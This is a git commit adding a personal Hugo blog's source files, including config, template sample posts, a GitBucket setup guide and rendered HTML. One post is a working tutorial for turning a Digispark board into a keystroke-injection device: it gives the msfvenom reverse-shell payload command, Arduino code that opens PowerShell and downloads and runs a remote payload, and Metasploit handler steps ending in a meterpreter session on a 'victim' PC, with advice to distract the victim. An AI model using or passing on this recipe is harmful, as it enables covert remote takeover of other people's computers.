First deploy to new VPS

This commit is contained in:
_N0x 2021-05-26 00:06:52 +02:00
commit 1dde892246
43 changed files with 7604 additions and 0 deletions

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "themes/coder"]
path = themes/coder
url = https://github.com/luizdepra/hugo-coder/

6
archetypes/default.md Normal file
View File

@ -0,0 +1,6 @@
---
title: "{{ replace .Name "-" " " | title }}"
date: {{ .Date }}
draft: true
---

72
config.toml Normal file
View File

@ -0,0 +1,72 @@
baseurl = "https://n0x.io"
title = "n0x.io"
theme = "coder"
languagecode = "de"
paginate = 20
canonifyurls = true
pygmentsstyle = "b2"
pygmentscodefences = true
pygmentscodefencesguesssyntax = true
favicon = "images/favicon.png"
#disqusShortname = "yourdiscussshortname"
[params]
author = "_N0x"
description = "Just some small blog"
keywords = "blog,developer,personal"
info = "» Here be dragons «"
avatarurl = "images/spoopy.gif"
footercontetn = "n0x.io"
hideFooter = false
hideCredits = false
hideCopyright = false
since = 2018
colorScheme = "dark"
hidecolorschemetoggle = false
# Custom CSS
custom_css = []
# RTL support
rtl = false
[[params.social]]
name = "Github"
weight = 2
icon = "fa fa-github fa-2x"
url = "https://github.com/n0x-io/"
[[params.social]]
name = "GitLab"
weight = 1
icon = "fa fa-gitlab fa-2x"
url = "https://gitlab.com/n0x_io"
[[params.social]]
name = "Twitter"
icon = "fa fa-twitter fa-2x"
weight = 3
url = "https://twitter.com/n0x_io"
[[menu.main]]
name = "Blog"
weight = 1
url = "/posts/"
[[menu.main]]
name = "About"
weight = 2
url = "/about/"
[[menu.main]]
name = "Cloud"
weight = 3
url = "https://cloud.n0x.io/"
[[menu.main]]
name = "Git"
weight = 4
url = "https://git.n0x.io/"

21
content/about.md Normal file
View File

@ -0,0 +1,21 @@
+++
title = "About n0x.io"
slug = "about"
+++
## Contact me
* E-Mail: tf[@]n0x.io [pgp](https://n0x.io/about/pgp)
* Twitter: [@n0x_io](https://twitter.com/n0x_io)
* GitLab: [n0x_io](https://gitlab.com/n0x_io)
## Build with Hugo
This Website is generated with [Hugo](https://gohugo.io/) using the [Coder Theme](https://github.com/luizdepra/hugo-coder)
## License
Unless noted otherwise all content on this website is protected under [Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)](https://creativecommons.org/licenses/by-sa/4.0/)
This means you are free to share and adapt the content under the following terms:
* Share — copy and redistribute the material in any medium or format
* Adapt — remix, transform, and build upon the material for any purpose, even commercially.

View File

@ -0,0 +1,140 @@
---
title: "Digispark_ReverseShell"
date: 2018-01-20T17:03:46+01:00
draft: false
---
# Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky
Some of you might already have heard of it: The [USB Rubber Ducky by Hak5](https://hakshop.com/products/usb-rubber-ducky-deluxe). A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. The only problem is the high (but reasonable) price of $45. In this tutorial I will show you how you can use the Digispark USB Deveoplment Board as a cheap alternative. As an example we will be creating a reverse shell, that will be launched when you plug the Digispark into a windows PC.
## You will need:
* [Digispark USB Development Board](http://digistump.com/products/1)
* [Kali Linux](https://www.kali.org/) with [Metasploid-Framework](https://www.metasploit.com/)
## Digispark USB Development Board
The Digispark from Digistump is a tiny, programmable micro-controller that can be programmed with the [Arduino-IDE](https://www.arduino.cc/en/main/software). The syntax is very similar to the one of Arduino-Boards. A tutorial on how to set the IDE up for the Digispark can be found here: [Connecting and Programming Your Digispark](http://digistump.com/wiki/digispark/tutorials/connecting)
I bought a bunch of Digisparks of eBay for little money. They aren't original (you can tell from the "rev3" which was never released) but they still are fully functional and perfect for our purposes.
For a nice video to set the Digispark up, check out this [tutorial by Seytonic](https://www.youtube.com/watch?v=fGmGBa-4cYQ)
## Creating the Payload
First of all we need to create the payload that will be deployed and executed by the Digispark on our target machine. We will use [MSFvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/) for this.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f psh-cmd
You need to replace the LHOST parameter with you IP address. You also could use your domain and use the reverse shell even outside of your network.
Now... here we find the first difficulty. Unlike the Rubber Ducky which can use a SD-card of any size, the Digispark only has 6kb of internal memory and the library we are going to need to use the Digispark as a Keyboard itself has about 2,4kb. So there is no space to place the payload directly on it.
To get our payload on the victim-PC we need to make it accessible on the web. We could use a local web-server, upload the plain payload to [pastebin](http://pastebin.com/) or just place it on our webspace.
## Programming The Digispark
After we've created the Payload we can start with programming the Digispark! Here we have to keep in mind that to program the Digispark you have to work with a US-Keyboard-Layout, this means you have to account for special characters and such if your keyboard layout is one of foreign origin.
The Sourcecode for the Digispark:
#include "DigiKeyboard.h"
/* US-KEYBOARD-LAYOUT ONLY!!
*
* still needs some testing... but should work
*
* Made by _N0x
* Thanks to Alex (http://0xdeadcode.se/archives/581) for the idea of using a small powershell payload.
*/
void setup() {
// Adding some LED-effects just for fun ;)
pinMode(1, OUTPUT);
delay(100);
// WIN+r, delete content, start powershell
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // WIN+r
delay(100);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
delay(50);
DigiKeyboard.println("powershell");
delay(500);
// turn the LED on
digitalWrite(1, HIGH);
// $url = '...' --> URL to Payload
DigiKeyboard.println("$url = 'LINK_TO_HOSTET_PAYLOAD'");
delay(50);
// $result = Invoke-WebRequest -Uri $url
DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
delay(50);
// powershell.exe -nop -e $result.content
DigiKeyboard.println("powershell.exe -nop -e $result.content");
// turn off the led if the payload is places and executed
digitalWrite(1, LOW);
delay(1500);
DigiKeyboard.println("exit");
}
void loop() {
// if done with the scripts LED starts blinking
digitalWrite(1, HIGH);
delay(150);
digitalWrite(1, LOW);
delay(500);
}
In principle you can leave the script unchanged and only change the URL for the Payload, so that the Payload you chose can be downloaded. The Digispark should now be ready for use! Before you storm out and try to plug it into the next best USB-Port though, you should prepare Kali Linux so that your Reverse-Shell Session can be accessed directly and as soon as needed.
## Preparing MSFconsole
To prepare the receiving-end for the Reverse-Shell, open a Terminal on your Kali Linux system and start MSFconsole by entering
root@kali:~# msfconsole
Then specify what exploit you want to use:
msf > use exploit/multi/handler
Now there are still some parameters we have to determine:
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.10
LHOST => 10.0.0.10
msf exploit(handler) > set LPORT 4444
LPORT => 4444
Replace the vlaue of LHOST with the IP/Domain you used when creating the payload with MSFconsole
To finish things off we have to tell our Console that it has to wait for a new session:
msf exploit(handler) > exploit -z -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.0.0.10:4444
[*] Starting the payload handler...
Now it's done! You can search for the next best PC to test your Digispark out! After you plug your Digispark in a Powershell will be opened and then closed, within this timeframe you have to distract your victim, after your USB Dev. Board starts to blink fastly you know your script has been executed and you can unplug the Digispark. If everything went how it should've your console should display this:
msf exploit(handler) > [*] Sending stage (957487 bytes) to 10.0.0.3
[*] Meterpreter session 1 opened (10.0.0.10:4444 -> 10.0.0.3:49678) at 2017-02-06 20:25:36 +0100
At last you have to pin your session, like this:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
And now: Congratulations! You now have a Reverse-Shell on your victims PC! With the command "help" you can see what you can do now.
Have fun, Good luck, Stay safe and don't let yourself get distracted by people with a Digispark! :D

View File

@ -0,0 +1,66 @@
---
title: "GIT_IN_MINUTES"
date: 2020-07-02
draft: false
---
# A Git-Server Setup In Minutes
Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.
For Some strange reason I felt the need to set up my own git server - because who doesn't need an own server for the two or three projects you keep on github?
I looked around and searched for some solutions that would fit my needs.
My requirements were:
* Easy setup
* Very Low System requirements for the host
* Account management
* Private and Public Repos
* Open Source
## The Possibilities
There were multiple solutions to choose from.
The first one was [GitLab Core](https://about.gitlab.com/install/). [GitLab](https://about.gitlab.com) is widely know and a nice alternative to [GitHub](https://github.com/). But GitLab core does require some more System resources then my current Server has and so I ruled it out. It is good for bigger companies but I just needed something small.
[Gitea](https://gitea.io/en-us/) was the next thing I came across. It checks all the boxes: lightweight, simple install, Open Source, etc. I downloaded it but had trouble getting it to run with my current database without exposing my database port to the internet and that is a big No. I don't want to open any more ports in my firewall then I need to.
Here is where [GitBucket](https://gitbucket.github.io/) (not to be confused with ATLASSIANs [Bitbucket](https://bitbucket.org/)) came into play. It has similar features as Gitea but I was able to set it up exactly how I wanted to.
So now [git.n0x.io](https://git.n0x.io/) is a thing!
## Setting up GitBucket
### Prerequirements
Just FYI I am running a little Debian 9 vServer so you might need to adapt the commands and changes to your system - which should be self-explanatory ;)
GitBucket is mostly written in Scala so we firstly need to install openJDK on our Server to run it.
sudo apt update
sudo apt install openjdk-11-jre
After installing the JRE I created a user account on which GitBucket should run. This way we make sure that I we do not grant to much privileges to GitBucket - it only gets the minimal things it needs to run
sudo adduser --system gitbucket
The `--system` parameter creates a systemuser account which mean a user that has no shell so we can't log into it the normal `su` way. To login to the new user use the following command:
sudo su - gitbucket -s /bin/bash
With `-s /bin/bash` we provide a shell to the user so we don't get logged out immediately.
Now we download the [latest version](https://github.com/gitbucket/gitbucket/releases/) of BitBucket (in my case 4.32.0) from GitHub to our local home.
cd ~
wget https://github.com/gitbucket/gitbucket/releases/download/4.32.0/gitbucket.war
### Running GitBucket
That is pretty much it. Now we can run GitBucket.war for the first time. There are multiple parameters you can specify ([See the official installation guide](https://github.com/gitbucket/gitbucket#installation)) but for now we stick with just specifying the port we want GitBucket to run on initially
java -jar gitbucket.war --port=8080
If you have a firewall set up like I do, you of course need to open up the port you specified. For example if you use iptables:
sudo iptables -A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT

View File

@ -0,0 +1,14 @@
---
title: "HelloWorld"
date: 2018-01-08T20:35:40+01:00
draft: false
---
# Hello World!
Hello there and welcome on n0x.io!
I'm \_N0x. I'm 20 years old and "Fachinformatiker für Anwendungsentwicklung".
I live in germany and Love tinkering with PCs and Software.
Thanks for stopping by ;)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,344 @@
+++
expiryDate = "2000-01-01"
date = "2014-04-02"
title = "(Hu)go Template Primer"
slug = "hugo-template-primer"
tags = [
"go",
"golang",
"templates",
"themes",
"development",
]
categories = [
"Development",
"golang",
]
+++
Hugo uses the excellent [go][] [html/template][gohtmltemplate] library for
its template engine. It is an extremely lightweight engine that provides a very
small amount of logic. In our experience that it is just the right amount of
logic to be able to create a good static website. If you have used other
template systems from different languages or frameworks you will find a lot of
similarities in go templates.
This document is a brief primer on using go templates. The [go docs][gohtmltemplate]
provide more details.
## Introduction to Go Templates
Go templates provide an extremely simple template language. It adheres to the
belief that only the most basic of logic belongs in the template or view layer.
One consequence of this simplicity is that go templates parse very quickly.
A unique characteristic of go templates is they are content aware. Variables and
content will be sanitized depending on the context of where they are used. More
details can be found in the [go docs][gohtmltemplate].
## Basic Syntax
Go lang templates are html files with the addition of variables and
functions.
**Go variables and functions are accessible within {{ }}**
Accessing a predefined variable "foo":
{{ foo }}
**Parameters are separated using spaces**
Calling the add function with input of 1, 2:
{{ add 1 2 }}
**Methods and fields are accessed via dot notation**
Accessing the Page Parameter "bar"
{{ .Params.bar }}
**Parentheses can be used to group items together**
{{ if or (isset .Params "alt") (isset .Params "caption") }} Caption {{ end }}
## Variables
Each go template has a struct (object) made available to it. In hugo each
template is passed either a page or a node struct depending on which type of
page you are rendering. More details are available on the
[variables](/layout/variables) page.
A variable is accessed by referencing the variable name.
<title>{{ .Title }}</title>
Variables can also be defined and referenced.
{{ $address := "123 Main St."}}
{{ $address }}
## Functions
Go template ship with a few functions which provide basic functionality. The go
template system also provides a mechanism for applications to extend the
available functions with their own. [Hugo template
functions](/layout/functions) provide some additional functionality we believe
are useful for building websites. Functions are called by using their name
followed by the required parameters separated by spaces. Template
functions cannot be added without recompiling hugo.
**Example:**
{{ add 1 2 }}
## Includes
When including another template you will pass to it the data it will be
able to access. To pass along the current context please remember to
include a trailing dot. The templates location will always be starting at
the /layout/ directory within Hugo.
**Example:**
{{ template "chrome/header.html" . }}
## Logic
Go templates provide the most basic iteration and conditional logic.
### Iteration
Just like in go, the go templates make heavy use of range to iterate over
a map, array or slice. The following are different examples of how to use
range.
**Example 1: Using Context**
{{ range array }}
{{ . }}
{{ end }}
**Example 2: Declaring value variable name**
{{range $element := array}}
{{ $element }}
{{ end }}
**Example 2: Declaring key and value variable name**
{{range $index, $element := array}}
{{ $index }}
{{ $element }}
{{ end }}
### Conditionals
If, else, with, or, & and provide the framework for handling conditional
logic in Go Templates. Like range, each statement is closed with `end`.
Go Templates treat the following values as false:
* false
* 0
* any array, slice, map, or string of length zero
**Example 1: If**
{{ if isset .Params "title" }}<h4>{{ index .Params "title" }}</h4>{{ end }}
**Example 2: If -> Else**
{{ if isset .Params "alt" }}
{{ index .Params "alt" }}
{{else}}
{{ index .Params "caption" }}
{{ end }}
**Example 3: And & Or**
{{ if and (or (isset .Params "title") (isset .Params "caption")) (isset .Params "attr")}}
**Example 4: With**
An alternative way of writing "if" and then referencing the same value
is to use "with" instead. With rebinds the context `.` within its scope,
and skips the block if the variable is absent.
The first example above could be simplified as:
{{ with .Params.title }}<h4>{{ . }}</h4>{{ end }}
**Example 5: If -> Else If**
{{ if isset .Params "alt" }}
{{ index .Params "alt" }}
{{ else if isset .Params "caption" }}
{{ index .Params "caption" }}
{{ end }}
## Pipes
One of the most powerful components of go templates is the ability to
stack actions one after another. This is done by using pipes. Borrowed
from unix pipes, the concept is simple, each pipeline's output becomes the
input of the following pipe.
Because of the very simple syntax of go templates, the pipe is essential
to being able to chain together function calls. One limitation of the
pipes is that they only can work with a single value and that value
becomes the last parameter of the next pipeline.
A few simple examples should help convey how to use the pipe.
**Example 1 :**
{{ if eq 1 1 }} Same {{ end }}
is the same as
{{ eq 1 1 | if }} Same {{ end }}
It does look odd to place the if at the end, but it does provide a good
illustration of how to use the pipes.
**Example 2 :**
{{ index .Params "disqus_url" | html }}
Access the page parameter called "disqus_url" and escape the HTML.
**Example 3 :**
{{ if or (or (isset .Params "title") (isset .Params "caption")) (isset .Params "attr")}}
Stuff Here
{{ end }}
Could be rewritten as
{{ isset .Params "caption" | or isset .Params "title" | or isset .Params "attr" | if }}
Stuff Here
{{ end }}
## Context (aka. the dot)
The most easily overlooked concept to understand about go templates is that {{ . }}
always refers to the current context. In the top level of your template this
will be the data set made available to it. Inside of a iteration it will have
the value of the current item. When inside of a loop the context has changed. .
will no longer refer to the data available to the entire page. If you need to
access this from within the loop you will likely want to set it to a variable
instead of depending on the context.
**Example:**
{{ $title := .Site.Title }}
{{ range .Params.tags }}
<li> <a href="{{ $baseurl }}/tags/{{ . | urlize }}">{{ . }}</a> - {{ $title }} </li>
{{ end }}
Notice how once we have entered the loop the value of {{ . }} has changed. We
have defined a variable outside of the loop so we have access to it from within
the loop.
# Hugo Parameters
Hugo provides the option of passing values to the template language
through the site configuration (for sitewide values), or through the meta
data of each specific piece of content. You can define any values of any
type (supported by your front matter/config format) and use them however
you want to inside of your templates.
## Using Content (page) Parameters
In each piece of content you can provide variables to be used by the
templates. This happens in the [front matter](/content/front-matter).
An example of this is used in this documentation site. Most of the pages
benefit from having the table of contents provided. Sometimes the TOC just
doesn't make a lot of sense. We've defined a variable in our front matter
of some pages to turn off the TOC from being displayed.
Here is the example front matter:
```
---
title: "Permalinks"
date: "2013-11-18"
aliases:
- "/doc/permalinks/"
groups: ["extras"]
groups_weight: 30
notoc: true
---
```
Here is the corresponding code inside of the template:
{{ if not .Params.notoc }}
<div id="toc" class="well col-md-4 col-sm-6">
{{ .TableOfContents }}
</div>
{{ end }}
## Using Site (config) Parameters
In your top-level configuration file (eg, `config.yaml`) you can define site
parameters, which are values which will be available to you in chrome.
For instance, you might declare:
```yaml
params:
CopyrightHTML: "Copyright &#xA9; 2013 John Doe. All Rights Reserved."
TwitterUser: "spf13"
SidebarRecentLimit: 5
```
Within a footer layout, you might then declare a `<footer>` which is only
provided if the `CopyrightHTML` parameter is provided, and if it is given,
you would declare it to be HTML-safe, so that the HTML entity is not escaped
again. This would let you easily update just your top-level config file each
January 1st, instead of hunting through your templates.
```
{{if .Site.Params.CopyrightHTML}}<footer>
<div class="text-center">{{.Site.Params.CopyrightHTML | safeHtml}}</div>
</footer>{{end}}
```
An alternative way of writing the "if" and then referencing the same value
is to use "with" instead. With rebinds the context `.` within its scope,
and skips the block if the variable is absent:
```
{{with .Site.Params.TwitterUser}}<span class="twitter">
<a href="https://twitter.com/{{.}}" rel="author">
<img src="/images/twitter.png" width="48" height="48" title="Twitter: {{.}}"
alt="Twitter"></a>
</span>{{end}}
```
Finally, if you want to pull "magic constants" out of your layouts, you can do
so, such as in this example:
```
<nav class="recent">
<h1>Recent Posts</h1>
<ul>{{range first .Site.Params.SidebarRecentLimit .Site.Recent}}
<li><a href="{{.RelPermalink}}">{{.Title}}</a></li>
{{end}}</ul>
</nav>
```
[go]: <http://golang.org/>
[gohtmltemplate]: <http://golang.org/pkg/html/template/>

View File

@ -0,0 +1,88 @@
+++
expiryDate = "2000-01-01"
date = "2014-04-02"
title = "Getting Started with Hugo"
tags = [
"go",
"golang",
"hugo",
"development",
]
categories = [
"Development",
"golang",
]
+++
## Step 1. Install Hugo
Goto [hugo releases](https://github.com/spf13/hugo/releases) and download the
appropriate version for your os and architecture.
Save it somewhere specific as we will be using it in the next step.
More complete instructions are available at [installing hugo](/overview/installing/)
## Step 2. Build the Docs
Hugo has its own example site which happens to also be the documentation site
you are reading right now.
Follow the following steps:
1. Clone the [hugo repository](http://github.com/spf13/hugo)
2. Go into the repo
3. Run hugo in server mode and build the docs
4. Open your browser to http://localhost:1313
Corresponding pseudo commands:
git clone https://github.com/spf13/hugo
cd hugo
/path/to/where/you/installed/hugo server --source=./docs
> 29 pages created
> 0 tags index created
> in 27 ms
> Web Server is available at http://localhost:1313
> Press ctrl+c to stop
Once you've gotten here, follow along the rest of this page on your local build.
## Step 3. Change the docs site
Stop the Hugo process by hitting ctrl+c.
Now we are going to run hugo again, but this time with hugo in watch mode.
/path/to/hugo/from/step/1/hugo server --source=./docs --watch
> 29 pages created
> 0 tags index created
> in 27 ms
> Web Server is available at http://localhost:1313
> Watching for changes in /Users/spf13/Code/hugo/docs/content
> Press ctrl+c to stop
Open your [favorite editor](http://vim.spf13.com) and change one of the source
content pages. How about changing this very file to *fix the typo*. How about changing this very file to *fix the typo*.
Content files are found in `docs/content/`. Unless otherwise specified, files
are located at the same relative location as the url, in our case
`docs/content/overview/quickstart.md`.
Change and save this file.. Notice what happened in your terminal.
> Change detected, rebuilding site
> 29 pages created
> 0 tags index created
> in 26 ms
Refresh the browser and observe that the typo is now fixed.
Notice how quick that was. Try to refresh the site before it's finished building.. I double dare you.
Having nearly instant feedback enables you to have your creativity flow without waiting for long builds.
## Step 4. Have fun
The best way to learn something is to play with it.

View File

@ -0,0 +1,151 @@
+++
expiryDate = "2000-01-01"
date = "2014-03-10"
title = "Migrate to Hugo from Jekyll"
+++
## Move static content to `static`
Jekyll has a rule that any directory not starting with `_` will be copied as-is to the `_site` output. Hugo keeps all static content under `static`. You should therefore move it all there.
With Jekyll, something that looked like
<root>/
▾ images/
logo.png
should become
<root>/
▾ static/
▾ images/
logo.png
Additionally, you'll want any files that should reside at the root (such as `CNAME`) to be moved to `static`.
## Create your Hugo configuration file
Hugo can read your configuration as JSON, YAML or TOML. Hugo supports parameters custom configuration too. Refer to the [Hugo configuration documentation](/overview/configuration/) for details.
## Set your configuration publish folder to `_site`
The default is for Jekyll to publish to `_site` and for Hugo to publish to `public`. If, like me, you have [`_site` mapped to a git submodule on the `gh-pages` branch](http://blog.blindgaenger.net/generate_github_pages_in_a_submodule.html), you'll want to do one of two alternatives:
1. Change your submodule to point to map `gh-pages` to public instead of `_site` (recommended).
git submodule deinit _site
git rm _site
git submodule add -b gh-pages git@github.com:your-username/your-repo.git public
2. Or, change the Hugo configuration to use `_site` instead of `public`.
{
..
"publishdir": "_site",
..
}
## Convert Jekyll templates to Hugo templates
That's the bulk of the work right here. The documentation is your friend. You should refer to [Jekyll's template documentation](http://jekyllrb.com/docs/templates/) if you need to refresh your memory on how you built your blog and [Hugo's template](/layout/templates/) to learn Hugo's way.
As a single reference data point, converting my templates for [heyitsalex.net](http://heyitsalex.net/) took me no more than a few hours.
## Convert Jekyll plugins to Hugo shortcodes
Jekyll has [plugins](http://jekyllrb.com/docs/plugins/); Hugo has [shortcodes](/doc/shortcodes/). It's fairly trivial to do a port.
### Implementation
As an example, I was using a custom [`image_tag`](https://github.com/alexandre-normand/alexandre-normand/blob/74bb12036a71334fdb7dba84e073382fc06908ec/_plugins/image_tag.rb) plugin to generate figures with caption when running Jekyll. As I read about shortcodes, I found Hugo had a nice built-in shortcode that does exactly the same thing.
Jekyll's plugin:
module Jekyll
class ImageTag < Liquid::Tag
@url = nil
@caption = nil
@class = nil
@link = nil
// Patterns
IMAGE_URL_WITH_CLASS_AND_CAPTION =
IMAGE_URL_WITH_CLASS_AND_CAPTION_AND_LINK = /(\w+)(\s+)((https?:\/\/|\/)(\S+))(\s+)"(.*?)"(\s+)->((https?:\/\/|\/)(\S+))(\s*)/i
IMAGE_URL_WITH_CAPTION = /((https?:\/\/|\/)(\S+))(\s+)"(.*?)"/i
IMAGE_URL_WITH_CLASS = /(\w+)(\s+)((https?:\/\/|\/)(\S+))/i
IMAGE_URL = /((https?:\/\/|\/)(\S+))/i
def initialize(tag_name, markup, tokens)
super
if markup =~ IMAGE_URL_WITH_CLASS_AND_CAPTION_AND_LINK
@class = $1
@url = $3
@caption = $7
@link = $9
elsif markup =~ IMAGE_URL_WITH_CLASS_AND_CAPTION
@class = $1
@url = $3
@caption = $7
elsif markup =~ IMAGE_URL_WITH_CAPTION
@url = $1
@caption = $5
elsif markup =~ IMAGE_URL_WITH_CLASS
@class = $1
@url = $3
elsif markup =~ IMAGE_URL
@url = $1
end
end
def render(context)
if @class
source = "<figure class='#{@class}'>"
else
source = "<figure>"
end
if @link
source += "<a href=\"#{@link}\">"
end
source += "<img src=\"#{@url}\">"
if @link
source += "</a>"
end
source += "<figcaption>#{@caption}</figcaption>" if @caption
source += "</figure>"
source
end
end
end
Liquid::Template.register_tag('image', Jekyll::ImageTag)
is written as this Hugo shortcode:
<!-- image -->
<figure {{ with .Get "class" }}class="{{.}}"{{ end }}>
{{ with .Get "link"}}<a href="{{.}}">{{ end }}
<img src="{{ .Get "src" }}" {{ if or (.Get "alt") (.Get "caption") }}alt="{{ with .Get "alt"}}{{.}}{{else}}{{ .Get "caption" }}{{ end }}"{{ end }} />
{{ if .Get "link"}}</a>{{ end }}
{{ if or (or (.Get "title") (.Get "caption")) (.Get "attr")}}
<figcaption>{{ if isset .Params "title" }}
{{ .Get "title" }}{{ end }}
{{ if or (.Get "caption") (.Get "attr")}}<p>
{{ .Get "caption" }}
{{ with .Get "attrlink"}}<a href="{{.}}"> {{ end }}
{{ .Get "attr" }}
{{ if .Get "attrlink"}}</a> {{ end }}
</p> {{ end }}
</figcaption>
{{ end }}
</figure>
<!-- image -->
### Usage
I simply changed:
{% image full http://farm5.staticflickr.com/4136/4829260124_57712e570a_o_d.jpg "One of my favorite touristy-type photos. I secretly waited for the good light while we were "having fun" and took this. Only regret: a stupid pole in the top-left corner of the frame I had to clumsily get rid of at post-processing." ->http://www.flickr.com/photos/alexnormand/4829260124/in/set-72157624547713078/ %}
to this (this example uses a slightly extended version named `fig`, different than the built-in `figure`):
{{%/* fig class="full" src="http://farm5.staticflickr.com/4136/4829260124_57712e570a_o_d.jpg" title="One of my favorite touristy-type photos. I secretly waited for the good light while we were having fun and took this. Only regret: a stupid pole in the top-left corner of the frame I had to clumsily get rid of at post-processing." link="http://www.flickr.com/photos/alexnormand/4829260124/in/set-72157624547713078/" */%}}
As a bonus, the shortcode named parameters are, arguably, more readable.
## Finishing touches
### Fix content
Depending on the amount of customization that was done with each post with Jekyll, this step will require more or less effort. There are no hard and fast rules here except that `hugo server --watch` is your friend. Test your changes and fix errors as needed.
### Clean up
You'll want to remove the Jekyll configuration at this point. If you have anything else that isn't used, delete it.
## A practical example in a diff
[Hey, it's Alex](http://heyitsalex.net/) was migrated in less than a _father-with-kids day_ from Jekyll to Hugo. You can see all the changes (and screw-ups) by looking at this [diff](https://github.com/alexandre-normand/alexandre-normand/compare/869d69435bd2665c3fbf5b5c78d4c22759d7613a...b7f6605b1265e83b4b81495423294208cc74d610).

View File

@ -0,0 +1,75 @@
+++
expiryDate = "2000-01-01"
date = "2017-01-08"
title = "Theme Demo"
math = "true"
+++
## Style Demo
# h1 Heading
## h2 Heading
### h3 Heading
#### h4 Heading
##### h5 Heading
###### h6 Heading
---
**This is bold text**
__This is bold text__
*This is italic text*
_This is italic text_
~~Deleted text~~
This is text with inline math $\sum_{n=1}^{\infty} 2^{-n} = 1$ and with math blocks:
$$
\sum_{n=1}^{\infty} 2^{-n} = 1
$$
| Heading | Another heading |
| :----: | :-------------: |
| text | text |
| text | text |
| text | text |
> Block quotes are
> written like so.
>
> They can span multiple paragraphs,
> if you like.
Some text, and some `code` and then a nice plain [link with title](https://github.com/davidhampgonsalves/davidhampgonsalves.com-hugo "title text!").
and then
+ Create a list by starting a line with `+`, `-`, or `*`
+ Sub-lists are made by indenting 2 spaces:
- Marker character change forces new list start:
* Ac tristique libero volutpat at
+ Very easy!
vs.
1. Lorem ipsum dolor sit amet
2. Consectetur adipiscing elit
3. Integer molestie lorem at massa
## Code
Inline `code`
``` js
var foo = function (bar) {
return bar++;
};
console.log(foo(5));
```

177
public/404.html Normal file
View File

@ -0,0 +1,177 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Just some small blog">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="404 Page not found"/>
<meta name="twitter:description" content="Just some small blog"/>
<meta property="og:title" content="404 Page not found" />
<meta property="og:description" content="Just some small blog" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://n0x.io/404.html" />
<title>n0x.io</title>
<link rel="canonical" href="https://n0x.io/404.html">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container centered">
<div class="error">
<h1>404</h1>
<h2>Page Not Found</h2>
<p>Sorry, this page does not exist.<br />You can head back to <a href="https://n0x.io">homepage</a>.</p>
</div>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

227
public/about/index.html Normal file
View File

@ -0,0 +1,227 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Contact me E-Mail: tf[@]n0x.io pgp Twitter: @n0x_io GitLab: n0x_io Build with Hugo This Website is generated with Hugo using the Coder Theme
License Unless noted otherwise all content on this website is protected under Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)
